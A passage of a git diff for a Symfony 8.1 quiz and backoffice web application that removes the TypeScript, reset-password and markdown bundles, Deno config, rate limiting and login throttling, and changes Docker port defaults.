|
||||||
declare module '*.scss';
|
|
||||||
|
|
||||||
declare module '@symfony/stimulus-bundle' {
|
|
||||||
export function startStimulusApp(): unknown;
|
|
||||||
}
|
|
||||||
@@ -10,7 +10,7 @@ services:
|
|||||||
- ~/.composer/cache:/root/.composer/cache
|
- ~/.composer/cache:/root/.composer/cache
|
||||||
- ./frankenphp/Caddyfile:/etc/caddy/Caddyfile:ro
|
- ./frankenphp/Caddyfile:/etc/caddy/Caddyfile:ro
|
||||||
- ./frankenphp/conf.d/20-app.dev.ini:/usr/local/etc/php/app.conf.d/20-app.dev.ini:ro
|
- ./frankenphp/conf.d/20-app.dev.ini:/usr/local/etc/php/app.conf.d/20-app.dev.ini:ro
|
||||||
- ${CADDY_DATA_DIR:-./frankenphp/data}:/data
|
- ./frankenphp/data:/data
|
||||||
- sass:/app/var/sass
|
- sass:/app/var/sass
|
||||||
environment:
|
environment:
|
||||||
MERCURE_EXTRA_DIRECTIVES: demo
|
MERCURE_EXTRA_DIRECTIVES: demo
|
||||||
@@ -24,15 +24,15 @@ services:
|
|||||||
ports:
|
ports:
|
||||||
# HTTP
|
# HTTP
|
||||||
- target: 80
|
- target: 80
|
||||||
published: ${HTTP_PORT:-8080}
|
published: ${HTTP_PORT:-80}
|
||||||
protocol: tcp
|
protocol: tcp
|
||||||
# HTTPS
|
# HTTPS
|
||||||
- target: 443
|
- target: 443
|
||||||
published: ${HTTPS_PORT:-8443}
|
published: ${HTTPS_PORT:-443}
|
||||||
protocol: tcp
|
protocol: tcp
|
||||||
# HTTP/3
|
# HTTP/3
|
||||||
- target: 443
|
- target: 443
|
||||||
published: ${HTTPS_PORT:-8443}
|
published: ${HTTP3_PORT:-443}
|
||||||
protocol: udp
|
protocol: udp
|
||||||
sass:
|
sass:
|
||||||
image: ${IMAGES_PREFIX:-}app-php
|
image: ${IMAGES_PREFIX:-}app-php
|
||||||
@@ -56,7 +56,7 @@ services:
|
|||||||
###> doctrine/doctrine-bundle ###
|
###> doctrine/doctrine-bundle ###
|
||||||
database:
|
database:
|
||||||
ports:
|
ports:
|
||||||
- "${POSTGRES_PORT:-5430}:5432"
|
- "5432:5432"
|
||||||
###< doctrine/doctrine-bundle ###
|
###< doctrine/doctrine-bundle ###
|
||||||
|
|
||||||
###> symfony/mailer ###
|
###> symfony/mailer ###
|
||||||
@@ -64,7 +64,7 @@ services:
|
|||||||
image: axllent/mailpit
|
image: axllent/mailpit
|
||||||
ports:
|
ports:
|
||||||
- "1025"
|
- "1025"
|
||||||
- "${MAILPIT_PORT:-8025}:8025"
|
- "8025:8025"
|
||||||
environment:
|
environment:
|
||||||
MP_SMTP_AUTH_ACCEPT_ANY: 1
|
MP_SMTP_AUTH_ACCEPT_ANY: 1
|
||||||
MP_SMTP_AUTH_ALLOW_INSECURE: 1
|
MP_SMTP_AUTH_ALLOW_INSECURE: 1
|
||||||
@@ -73,7 +73,7 @@ services:
|
|||||||
spotlight:
|
spotlight:
|
||||||
image: ghcr.io/getsentry/spotlight:latest
|
image: ghcr.io/getsentry/spotlight:latest
|
||||||
ports:
|
ports:
|
||||||
- "${SPOTLIGHT_PORT:-8969}:8969"
|
- "8969:8969"
|
||||||
|
|
||||||
volumes:
|
volumes:
|
||||||
sass:
|
sass:
|
||||||
|
|||||||
@@ -9,18 +9,14 @@
|
|||||||
"php": ">=8.5",
|
"php": ">=8.5",
|
||||||
"ext-ctype": "*",
|
"ext-ctype": "*",
|
||||||
"ext-iconv": "*",
|
"ext-iconv": "*",
|
||||||
"ext-intl": "*",
|
|
||||||
"ext-zip": "*",
|
|
||||||
"doctrine/dbal": "^4.4.3",
|
"doctrine/dbal": "^4.4.3",
|
||||||
"doctrine/doctrine-bundle": "^3.2.2",
|
"doctrine/doctrine-bundle": "^3.2.2",
|
||||||
"doctrine/doctrine-migrations-bundle": "^4.0",
|
"doctrine/doctrine-migrations-bundle": "^4.0",
|
||||||
"doctrine/orm": "^3.6.2",
|
"doctrine/orm": "^3.6.2",
|
||||||
"league/commonmark": "^2.7",
|
|
||||||
"martin-georgiev/postgresql-for-doctrine": "^4.4",
|
"martin-georgiev/postgresql-for-doctrine": "^4.4",
|
||||||
"phpdocumentor/reflection-docblock": "^6.0.3",
|
"phpdocumentor/reflection-docblock": "^6.0.3",
|
||||||
"phpoffice/phpspreadsheet": "^5.5",
|
"phpoffice/phpspreadsheet": "^5.5",
|
||||||
"phpstan/phpdoc-parser": "^2.3.2",
|
"phpstan/phpdoc-parser": "^2.3.2",
|
||||||
"sensiolabs/typescript-bundle": "^0.2.2",
|
|
||||||
"sentry/sentry-symfony": "^5.9.0",
|
"sentry/sentry-symfony": "^5.9.0",
|
||||||
"stof/doctrine-extensions-bundle": "^1.15.3",
|
"stof/doctrine-extensions-bundle": "^1.15.3",
|
||||||
"symfony/asset": "8.1.*",
|
"symfony/asset": "8.1.*",
|
||||||
@@ -31,30 +27,25 @@
|
|||||||
"symfony/flex": "^2.11.0",
|
"symfony/flex": "^2.11.0",
|
||||||
"symfony/form": "8.1.*",
|
"symfony/form": "8.1.*",
|
||||||
"symfony/framework-bundle": "8.1.*",
|
"symfony/framework-bundle": "8.1.*",
|
||||||
"symfony/http-client": "8.1.*",
|
|
||||||
"symfony/mailer": "8.1.*",
|
"symfony/mailer": "8.1.*",
|
||||||
"symfony/object-mapper": "8.1.*",
|
"symfony/object-mapper": "8.1.*",
|
||||||
"symfony/property-access": "8.1.*",
|
"symfony/property-access": "8.1.*",
|
||||||
"symfony/property-info": "8.1.*",
|
"symfony/property-info": "8.1.*",
|
||||||
"symfony/rate-limiter": "8.1.*",
|
|
||||||
"symfony/runtime": "8.1.*",
|
"symfony/runtime": "8.1.*",
|
||||||
"symfony/security-bundle": "8.1.*",
|
"symfony/security-bundle": "8.1.*",
|
||||||
"symfony/security-csrf": "8.1.*",
|
"symfony/security-csrf": "8.1.*",
|
||||||
"symfony/serializer": "8.1.*",
|
"symfony/serializer": "8.1.*",
|
||||||
"symfony/string": "8.1.*",
|
|
||||||
"symfony/translation": "8.1.*",
|
"symfony/translation": "8.1.*",
|
||||||
"symfony/twig-bundle": "8.1.*",
|
"symfony/twig-bundle": "8.1.*",
|
||||||
"symfony/uid": "8.1.*",
|
"symfony/uid": "8.1.*",
|
||||||
"symfony/ux-turbo": "^3.1",
|
"symfony/ux-turbo": "^3.1",
|
||||||
"symfony/validator": "8.1.*",
|
"symfony/validator": "8.1.*",
|
||||||
"symfony/yaml": "8.1.*",
|
"symfony/yaml": "8.1.*",
|
||||||
"symfonycasts/reset-password-bundle": "^1.25",
|
|
||||||
"symfonycasts/sass-bundle": "^0.10",
|
"symfonycasts/sass-bundle": "^0.10",
|
||||||
"symfonycasts/verify-email-bundle": "^1.18.0",
|
"symfonycasts/verify-email-bundle": "^1.18.0",
|
||||||
"thecodingmachine/safe": "^3.4.0",
|
"thecodingmachine/safe": "^3.4.0",
|
||||||
"twig/extra-bundle": "^3.24.0",
|
"twig/extra-bundle": "^3.24.0",
|
||||||
"twig/intl-extra": "^3.24.0",
|
"twig/intl-extra": "^3.24.0",
|
||||||
"twig/markdown-extra": "^3.24.0",
|
|
||||||
"twig/twig": "^3.27.1"
|
"twig/twig": "^3.27.1"
|
||||||
},
|
},
|
||||||
"require-dev": {
|
"require-dev": {
|
||||||
|
|||||||
Generated
+68
-741
File diff suppressed because it is too large
Load Diff
@@ -6,7 +6,6 @@ use DAMA\DoctrineTestBundle\DAMADoctrineTestBundle;
|
|||||||
use Doctrine\Bundle\DoctrineBundle\DoctrineBundle;
|
use Doctrine\Bundle\DoctrineBundle\DoctrineBundle;
|
||||||
use Doctrine\Bundle\FixturesBundle\DoctrineFixturesBundle;
|
use Doctrine\Bundle\FixturesBundle\DoctrineFixturesBundle;
|
||||||
use Doctrine\Bundle\MigrationsBundle\DoctrineMigrationsBundle;
|
use Doctrine\Bundle\MigrationsBundle\DoctrineMigrationsBundle;
|
||||||
use Sensiolabs\TypeScriptBundle\SensiolabsTypeScriptBundle;
|
|
||||||
use Sentry\SentryBundle\SentryBundle;
|
use Sentry\SentryBundle\SentryBundle;
|
||||||
use Stof\DoctrineExtensionsBundle\StofDoctrineExtensionsBundle;
|
use Stof\DoctrineExtensionsBundle\StofDoctrineExtensionsBundle;
|
||||||
use Symfony\Bundle\FrameworkBundle\FrameworkBundle;
|
use Symfony\Bundle\FrameworkBundle\FrameworkBundle;
|
||||||
@@ -16,7 +15,6 @@ use Symfony\Bundle\TwigBundle\TwigBundle;
|
|||||||
use Symfony\Bundle\WebProfilerBundle\WebProfilerBundle;
|
use Symfony\Bundle\WebProfilerBundle\WebProfilerBundle;
|
||||||
use Symfony\UX\StimulusBundle\StimulusBundle;
|
use Symfony\UX\StimulusBundle\StimulusBundle;
|
||||||
use Symfony\UX\Turbo\TurboBundle;
|
use Symfony\UX\Turbo\TurboBundle;
|
||||||
use SymfonyCasts\Bundle\ResetPassword\SymfonyCastsResetPasswordBundle;
|
|
||||||
use SymfonyCasts\Bundle\VerifyEmail\SymfonyCastsVerifyEmailBundle;
|
use SymfonyCasts\Bundle\VerifyEmail\SymfonyCastsVerifyEmailBundle;
|
||||||
use Symfonycasts\SassBundle\SymfonycastsSassBundle;
|
use Symfonycasts\SassBundle\SymfonycastsSassBundle;
|
||||||
use Twig\Extra\TwigExtraBundle\TwigExtraBundle;
|
use Twig\Extra\TwigExtraBundle\TwigExtraBundle;
|
||||||
@@ -38,6 +36,4 @@ return [
|
|||||||
TurboBundle::class => ['all' => true],
|
TurboBundle::class => ['all' => true],
|
||||||
DAMADoctrineTestBundle::class => ['test' => true],
|
DAMADoctrineTestBundle::class => ['test' => true],
|
||||||
StofDoctrineExtensionsBundle::class => ['all' => true],
|
StofDoctrineExtensionsBundle::class => ['all' => true],
|
||||||
SymfonyCastsResetPasswordBundle::class => ['all' => true],
|
|
||||||
SensiolabsTypeScriptBundle::class => ['all' => true],
|
|
||||||
];
|
];
|
||||||
|
|||||||
@@ -6,12 +6,8 @@ framework:
|
|||||||
excluded_patterns:
|
excluded_patterns:
|
||||||
- '*/assets/styles/_*.scss'
|
- '*/assets/styles/_*.scss'
|
||||||
- '*/assets/styles/**/_*.scss'
|
- '*/assets/styles/**/_*.scss'
|
||||||
- '*/assets/**/*_test.ts'
|
|
||||||
- '*/assets/types/*.d.ts'
|
|
||||||
missing_import_mode: strict
|
missing_import_mode: strict
|
||||||
|
|
||||||
sensiolabs_typescript:
|
|
||||||
source_dir: ['%kernel.project_dir%/assets']
|
|
||||||
|
|
||||||
when@prod:
|
when@prod:
|
||||||
framework:
|
framework:
|
||||||
|
|||||||
@@ -9,25 +9,15 @@ framework:
|
|||||||
enabled: true
|
enabled: true
|
||||||
#esi: true
|
#esi: true
|
||||||
#fragments: true
|
#fragments: true
|
||||||
rate_limiter:
|
|
||||||
# Throttles guesses against the public season-code entry point (config/packages/security.yaml
|
|
||||||
# handles throttling for the backoffice /login form separately).
|
|
||||||
season_code:
|
|
||||||
policy: sliding_window
|
|
||||||
limit: 20
|
|
||||||
interval: '1 minute'
|
|
||||||
when@prod:
|
when@prod:
|
||||||
framework:
|
framework:
|
||||||
# shortcut for private IP address ranges of your proxy
|
# shortcut for private IP address ranges of your proxy
|
||||||
trusted_proxies: 'private_ranges'
|
trusted_proxies: 'private_ranges'
|
||||||
# or, if your proxy instead uses the "Forwarded" header
|
# or, if your proxy instead uses the "Forwarded" header
|
||||||
trusted_headers: [ 'x-forwarded-proto' ]
|
trusted_headers: [ 'forwarded' ]
|
||||||
|
|
||||||
when@test:
|
when@test:
|
||||||
framework:
|
framework:
|
||||||
test: true
|
test: true
|
||||||
session:
|
session:
|
||||||
storage_factory_id: session.storage.factory.mock_file
|
storage_factory_id: session.storage.factory.mock_file
|
||||||
rate_limiter:
|
|
||||||
season_code:
|
|
||||||
limit: 3
|
|
||||||
|
|||||||
@@ -1,2 +0,0 @@
|
|||||||
symfonycasts_reset_password:
|
|
||||||
request_password_repository: Tvdt\Repository\ResetPasswordRequestRepository
|
|
||||||
@@ -27,12 +27,9 @@ security:
|
|||||||
remember_me:
|
remember_me:
|
||||||
secret: '%kernel.secret%'
|
secret: '%kernel.secret%'
|
||||||
lifetime: 604800 # 1 week in seconds
|
lifetime: 604800 # 1 week in seconds
|
||||||
login_throttling:
|
|
||||||
max_attempts: 5
|
|
||||||
|
|
||||||
access_control:
|
access_control:
|
||||||
- { path: ^/admin, roles: ROLE_ADMIN }
|
- { path: ^/admin, roles: ROLE_ADMIN }
|
||||||
- { path: ^/backoffice/releases$, roles: PUBLIC_ACCESS }
|
|
||||||
- { path: ^/backoffice, roles: IS_AUTHENTICATED }
|
- { path: ^/backoffice, roles: IS_AUTHENTICATED }
|
||||||
|
|
||||||
when@test:
|
when@test:
|
||||||
@@ -45,7 +42,3 @@ when@test:
|
|||||||
cost: 4 # Lowest possible value for bcrypt
|
cost: 4 # Lowest possible value for bcrypt
|
||||||
time_cost: 3 # Lowest possible value for argon
|
time_cost: 3 # Lowest possible value for argon
|
||||||
memory_cost: 10 # Lowest possible value for argon
|
memory_cost: 10 # Lowest possible value for argon
|
||||||
firewalls:
|
|
||||||
main:
|
|
||||||
login_throttling:
|
|
||||||
max_attempts: 2
|
|
||||||
|
|||||||
@@ -1,8 +0,0 @@
|
|||||||
twig_extra:
|
|
||||||
commonmark:
|
|
||||||
allow_unsafe_links: false
|
|
||||||
html_input: escape
|
|
||||||
|
|
||||||
services:
|
|
||||||
League\CommonMark\Extension\Autolink\AutolinkExtension:
|
|
||||||
tags: ['twig.markdown.league_extension']
|
|
||||||
Generated
+2
-23
@@ -629,7 +629,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
|
|||||||
* }>,
|
* }>,
|
||||||
* },
|
* },
|
||||||
* rate_limiter?: bool|array{ // Rate limiter configuration
|
* rate_limiter?: bool|array{ // Rate limiter configuration
|
||||||
* enabled?: bool|Param, // Default: true
|
* enabled?: bool|Param, // Default: false
|
||||||
* limiters?: array<string, array{ // Default: []
|
* limiters?: array<string, array{ // Default: []
|
||||||
* lock_factory?: scalar|Param|null, // The service ID of the lock factory used by this limiter (or null to disable locking). // Default: "auto"
|
* lock_factory?: scalar|Param|null, // The service ID of the lock factory used by this limiter (or null to disable locking). // Default: "auto"
|
||||||
* cache_pool?: scalar|Param|null, // The cache pool to use for storing the current limiter state. // Default: "cache.rate_limiter"
|
* cache_pool?: scalar|Param|null, // The cache pool to use for storing the current limiter state. // Default: "cache.rate_limiter"
|
||||||
@@ -1271,7 +1271,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
|
|||||||
* enabled?: bool|Param, // Default: false
|
* enabled?: bool|Param, // Default: false
|
||||||
* },
|
* },
|
||||||
* markdown?: bool|array{
|
* markdown?: bool|array{
|
||||||
* enabled?: bool|Param, // Default: true
|
* enabled?: bool|Param, // Default: false
|
||||||
* },
|
* },
|
||||||
* intl?: bool|array{
|
* intl?: bool|array{
|
||||||
* enabled?: bool|Param, // Default: true
|
* enabled?: bool|Param, // Default: true
|
||||||
@@ -1490,19 +1490,6 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
|
|||||||
* skip_translation_on_load?: bool|Param, // Default: false
|
* skip_translation_on_load?: bool|Param, // Default: false
|
||||||
* metadata_cache_pool?: scalar|Param|null, // Default: null
|
* metadata_cache_pool?: scalar|Param|null, // Default: null
|
||||||
* }
|
* }
|
||||||
* @psalm-type SymfonycastsResetPasswordConfig = array{
|
|
||||||
* request_password_repository?: scalar|Param|null, // A class that implements ResetPasswordRequestRepositoryInterface - usually your ResetPasswordRequestRepository.
|
|
||||||
* lifetime?: int|Param, // The length of time in seconds that a password reset request is valid for after it is created. // Default: 3600
|
|
||||||
* throttle_limit?: int|Param, // Another password reset cannot be made faster than this throttle time in seconds. // Default: 3600
|
|
||||||
* enable_garbage_collection?: bool|Param, // Enable/Disable automatic garbage collection. // Default: true
|
|
||||||
* }
|
|
||||||
* @psalm-type SensiolabsTypescriptConfig = array{
|
|
||||||
* source_dir?: list<scalar|Param|null>,
|
|
||||||
* binary_download_dir?: scalar|Param|null, // The directory where the SWC binary will be downloaded // Default: "%kernel.project_dir%/var"
|
|
||||||
* swc_binary?: scalar|Param|null, // The SWC binary to use // Default: null
|
|
||||||
* swc_config_file?: scalar|Param|null, // Path to .swcrc configuration file to use // Default: "%kernel.project_dir%/.swcrc"
|
|
||||||
* swc_version?: scalar|Param|null, // The SWC version to use // Default: "v1.3.92"
|
|
||||||
* }
|
|
||||||
* @psalm-type ConfigType = array{
|
* @psalm-type ConfigType = array{
|
||||||
* imports?: ImportsConfig,
|
* imports?: ImportsConfig,
|
||||||
* parameters?: ParametersConfig,
|
* parameters?: ParametersConfig,
|
||||||
@@ -1518,8 +1505,6 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
|
|||||||
* stimulus?: StimulusConfig,
|
* stimulus?: StimulusConfig,
|
||||||
* turbo?: TurboConfig,
|
* turbo?: TurboConfig,
|
||||||
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
|
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
|
||||||
* symfonycasts_reset_password?: SymfonycastsResetPasswordConfig,
|
|
||||||
* sensiolabs_typescript?: SensiolabsTypescriptConfig,
|
|
||||||
* "when@dev"?: array{
|
* "when@dev"?: array{
|
||||||
* imports?: ImportsConfig,
|
* imports?: ImportsConfig,
|
||||||
* parameters?: ParametersConfig,
|
* parameters?: ParametersConfig,
|
||||||
@@ -1538,8 +1523,6 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
|
|||||||
* stimulus?: StimulusConfig,
|
* stimulus?: StimulusConfig,
|
||||||
* turbo?: TurboConfig,
|
* turbo?: TurboConfig,
|
||||||
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
|
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
|
||||||
* symfonycasts_reset_password?: SymfonycastsResetPasswordConfig,
|
|
||||||
* sensiolabs_typescript?: SensiolabsTypescriptConfig,
|
|
||||||
* },
|
* },
|
||||||
* "when@prod"?: array{
|
* "when@prod"?: array{
|
||||||
* imports?: ImportsConfig,
|
* imports?: ImportsConfig,
|
||||||
@@ -1557,8 +1540,6 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
|
|||||||
* stimulus?: StimulusConfig,
|
* stimulus?: StimulusConfig,
|
||||||
* turbo?: TurboConfig,
|
* turbo?: TurboConfig,
|
||||||
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
|
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
|
||||||
* symfonycasts_reset_password?: SymfonycastsResetPasswordConfig,
|
|
||||||
* sensiolabs_typescript?: SensiolabsTypescriptConfig,
|
|
||||||
* },
|
* },
|
||||||
* "when@test"?: array{
|
* "when@test"?: array{
|
||||||
* imports?: ImportsConfig,
|
* imports?: ImportsConfig,
|
||||||
@@ -1577,8 +1558,6 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
|
|||||||
* turbo?: TurboConfig,
|
* turbo?: TurboConfig,
|
||||||
* dama_doctrine_test?: DamaDoctrineTestConfig,
|
* dama_doctrine_test?: DamaDoctrineTestConfig,
|
||||||
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
|
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
|
||||||
* symfonycasts_reset_password?: SymfonycastsResetPasswordConfig,
|
|
||||||
* sensiolabs_typescript?: SensiolabsTypescriptConfig,
|
|
||||||
* },
|
* },
|
||||||
* ...<string, ExtensionType|array{ // extra keys must follow the when@%env% pattern or match an extension alias
|
* ...<string, ExtensionType|array{ // extra keys must follow the when@%env% pattern or match an extension alias
|
||||||
* imports?: ImportsConfig,
|
* imports?: ImportsConfig,
|
||||||
|
|||||||
@@ -1,33 +0,0 @@
|
|||||||
{
|
|
||||||
"exclude": ["assets/vendor/"],
|
|
||||||
"compilerOptions": {
|
|
||||||
"lib": ["deno.window", "dom", "dom.iterable"],
|
|
||||||
"strict": true,
|
|
||||||
"noImplicitOverride": false,
|
|
||||||
"types": ["./assets/types/global.d.ts"]
|
|
||||||
},
|
|
||||||
"imports": {
|
|
||||||
"@hotwired/stimulus": "npm:@hotwired/stimulus@^3.2.2",
|
|
||||||
"@hotwired/turbo": "npm:@hotwired/turbo@^8.0.23",
|
|
||||||
"bootstrap": "npm:bootstrap@^5.3.8",
|
|
||||||
"@sentry/browser": "npm:@sentry/browser@^10.63.0",
|
|
||||||
"@std/assert": "jsr:@std/assert@^1.0.19"
|
|
||||||
},
|
|
||||||
"fmt": {
|
|
||||||
"include": ["assets/"],
|
|
||||||
"exclude": ["assets/vendor/", "assets/styles/", "assets/img/"],
|
|
||||||
"singleQuote": true,
|
|
||||||
"indentWidth": 4
|
|
||||||
},
|
|
||||||
"lint": {
|
|
||||||
"include": ["assets/"],
|
|
||||||
"exclude": ["assets/vendor/"],
|
|
||||||
"rules": {
|
|
||||||
"exclude": ["no-window", "no-window-prefix"]
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"test": {
|
|
||||||
"include": ["assets/"],
|
|
||||||
"exclude": ["assets/vendor/"]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,96 +0,0 @@
|
|||||||
{
|
|
||||||
"version": "5",
|
|
||||||
"specifiers": {
|
|
||||||
"jsr:@std/assert@*": "1.0.19",
|
|
||||||
"jsr:@std/assert@^1.0.19": "1.0.19",
|
|
||||||
"jsr:@std/internal@^1.0.12": "1.0.14",
|
|
||||||
"npm:@hotwired/stimulus@^3.2.2": "3.2.2",
|
|
||||||
"npm:@hotwired/turbo@^8.0.23": "8.0.23",
|
|
||||||
"npm:@sentry/browser@^10.63.0": "10.65.0",
|
|
||||||
"npm:bootstrap@^5.3.8": "5.3.8_@popperjs+core@2.11.8"
|
|
||||||
},
|
|
||||||
"jsr": {
|
|
||||||
"@std/assert@1.0.19": {
|
|
||||||
"integrity": "eaada96ee120cb980bc47e040f82814d786fe8162ecc53c91d8df60b8755991e",
|
|
||||||
"dependencies": [
|
|
||||||
"jsr:@std/internal"
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"@std/internal@1.0.14": {
|
|
||||||
"integrity": "291516b3d4c35024d6ffbc0a9df5bf4c64116e05b50012cf846710152d2ffdf7"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"npm": {
|
|
||||||
"@hotwired/stimulus@3.2.2": {
|
|
||||||
"integrity": "sha512-eGeIqNOQpXoPAIP7tC1+1Yc1yl1xnwYqg+3mzqxyrbE5pg5YFBZcA6YoTiByJB6DKAEsiWtl6tjTJS4IYtbB7A=="
|
|
||||||
},
|
|
||||||
"@hotwired/turbo@8.0.23": {
|
|
||||||
"integrity": "sha512-GZ7cijxEZ6Ig71u7rD6LHaRv/wcE/hNsc+nEfiWOkLNqUgLOwo5MNGWOy5ZV9ZUDSiQx1no7YxjTNnT4O6//cQ=="
|
|
||||||
},
|
|
||||||
"@popperjs/core@2.11.8": {
|
|
||||||
"integrity": "sha512-P1st0aksCrn9sGZhp8GMYwBnQsbvAWsZAX44oXNNvLHGqAOcoVxmjZiohstwQ7SqKnbR47akdNi+uleWD8+g6A=="
|
|
||||||
},
|
|
||||||
"@sentry/browser-utils@10.65.0": {
|
|
||||||
"integrity": "sha512-4J0mkfNJAGUOkpg1ZggizyftFTn9N20b+Jl87UnWsDUkNG0Ic1l/FIzMPTVxXrAnhBGu0ULO0TFWMoQ5s3QtZw==",
|
|
||||||
"dependencies": [
|
|
||||||
"@sentry/conventions",
|
|
||||||
"@sentry/core"
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"@sentry/browser@10.65.0": {
|
|
||||||
"integrity": "sha512-XUDDsx0qxzeIlcOu1fDEqTcDl0eiOqghsgV+ReuuNP4jYjZ9kUQxE3rXWM5mlT1pBi4VaQ4FHqvQZZrRXy+oDw==",
|
|
||||||
"dependencies": [
|
|
||||||
"@sentry/browser-utils",
|
|
||||||
"@sentry/conventions",
|
|
||||||
"@sentry/core",
|
|
||||||
"@sentry/feedback",
|
|
||||||
"@sentry/replay",
|
|
||||||
"@sentry/replay-canvas"
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"@sentry/conventions@0.15.1": {
|
|
||||||
"integrity": "sha512-ZLP8bRdMON3prWE2tJyImuYscCxdcJeIPIhrOs/rgyFm3C1nCh1B6gdvPj3AZ5zW08oSFFCsq7T+tYEW3h8MNA=="
|
|
||||||
},
|
|
||||||
"@sentry/core@10.65.0": {
|
|
||||||
"integrity": "sha512-3aqtmM5NgNGo45BNaaBzi0LPQZAw//NEL4HKS5fXm12pJMa4KEkze8DEKnkTEIrGnWaOJKamecHKlnNg/Mqf/Q==",
|
|
||||||
"dependencies": [
|
|
||||||
"@sentry/conventions"
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"@sentry/feedback@10.65.0": {
|
|
||||||
"integrity": "sha512-ck8h7wgd3F3bYNk0v1OgohmyLBeXcKxqlfBJRtQq4k6KZUq+pXimOG7ckNguVMYjCo3PEfuG+ckKc21yqotKug==",
|
|
||||||
"dependencies": [
|
|
||||||
"@sentry/core"
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"@sentry/replay-canvas@10.65.0": {
|
|
||||||
"integrity": "sha512-A7X3RVk1Gk+knK8Ip/2EjejckNCLgCfRZo6eGlsy6qyz904KBpYmys1a0o7QkzFRjhIndjHAfcVxwt6jSLJlrQ==",
|
|
||||||
"dependencies": [
|
|
||||||
"@sentry/core",
|
|
||||||
"@sentry/replay"
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"@sentry/replay@10.65.0": {
|
|
||||||
"integrity": "sha512-aW988CcQBNArbOMzOFOziipHz6uQyXSa4i5CPWsu+nhVPTJHafosi5Lv9n6NM/icDX5e23VdnX6mZd8SyJuo8A==",
|
|
||||||
"dependencies": [
|
|
||||||
"@sentry/browser-utils",
|
|
||||||
"@sentry/core"
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"bootstrap@5.3.8_@popperjs+core@2.11.8": {
|
|
||||||
"integrity": "sha512-HP1SZDqaLDPwsNiqRqi5NcP0SSXciX2s9E+RyqJIIqGo+vJeN5AJVM98CXmW/Wux0nQ5L7jeWUdplCEf0Ee+tg==",
|
|
||||||
"dependencies": [
|
|
||||||
"@popperjs/core"
|
|
||||||
]
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"workspace": {
|
|
||||||
"dependencies": [
|
|
||||||
"jsr:@std/assert@^1.0.19",
|
|
||||||
"npm:@hotwired/stimulus@^3.2.2",
|
|
||||||
"npm:@hotwired/turbo@^8.0.23",
|
|
||||||
"npm:@sentry/browser@^10.63.0",
|
|
||||||
"npm:bootstrap@^5.3.8"
|
|
||||||
]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -33,10 +33,6 @@ if [ "$1" = 'frankenphp' ] || [ "$1" = 'php' ] || [ "$1" = 'bin/console' ]; then
|
|||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# var/ is a Docker volume that survives redeploys, so cache.app (e.g. the GitHub releases cache)
|
|
||||||
# can carry stale entries from the previous image into the new one unless cleared here.
|
|
||||||
php bin/console cache:pool:clear cache.app
|
|
||||||
|
|
||||||
setfacl -R -m u:www-data:rwX -m u:"$(whoami)":rwX var
|
setfacl -R -m u:www-data:rwX -m u:"$(whoami)":rwX var
|
||||||
setfacl -dR -m u:www-data:rwX -m u:"$(whoami)":rwX var
|
setfacl -dR -m u:www-data:rwX -m u:"$(whoami)":rwX var
|
||||||
|
|
||||||
|
|||||||
+2
-2
@@ -25,8 +25,8 @@ declare(strict_types=1);
|
|||||||
* }>
|
* }>
|
||||||
*/
|
*/
|
||||||
return [
|
return [
|
||||||
'quiz' => ['path' => './assets/quiz.ts', 'entrypoint' => true],
|
'quiz' => ['path' => './assets/quiz.js', 'entrypoint' => true],
|
||||||
'backoffice' => ['path' => './assets/backoffice.ts', 'entrypoint' => true],
|
'backoffice' => ['path' => './assets/backoffice.js', 'entrypoint' => true],
|
||||||
'@symfony/stimulus-bundle' => ['path' => './vendor/symfony/stimulus-bundle/assets/dist/loader.js'],
|
'@symfony/stimulus-bundle' => ['path' => './vendor/symfony/stimulus-bundle/assets/dist/loader.js'],
|
||||||
'bootstrap' => ['version' => '5.3.8'],
|
'bootstrap' => ['version' => '5.3.8'],
|
||||||
'@popperjs/core' => ['version' => '2.11.8'],
|
'@popperjs/core' => ['version' => '2.11.8'],
|
||||||
|
|||||||
@@ -1,34 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace DoctrineMigrations;
|
|
||||||
|
|
||||||
use Doctrine\DBAL\Schema\Schema;
|
|
||||||
use Doctrine\Migrations\AbstractMigration;
|
|
||||||
|
|
||||||
/** Auto-generated Migration: Please modify to your needs! */
|
|
||||||
final class Version20260707205155 extends AbstractMigration
|
|
||||||
{
|
|
||||||
#[\Override]
|
|
||||||
public function getDescription(): string
|
|
||||||
{
|
|
||||||
return '';
|
|
||||||
}
|
|
||||||
|
|
||||||
public function up(Schema $schema): void
|
|
||||||
{
|
|
||||||
// this up() migration is auto-generated, please modify it to your needs
|
|
||||||
$this->addSql('CREATE TABLE reset_password_request (id UUID NOT NULL, selector VARCHAR(20) NOT NULL, hashed_token VARCHAR(100) NOT NULL, requested_at TIMESTAMP(0) WITHOUT TIME ZONE NOT NULL, expires_at TIMESTAMP(0) WITHOUT TIME ZONE NOT NULL, user_id UUID NOT NULL, PRIMARY KEY (id))');
|
|
||||||
$this->addSql('CREATE INDEX IDX_7CE748AA76ED395 ON reset_password_request (user_id)');
|
|
||||||
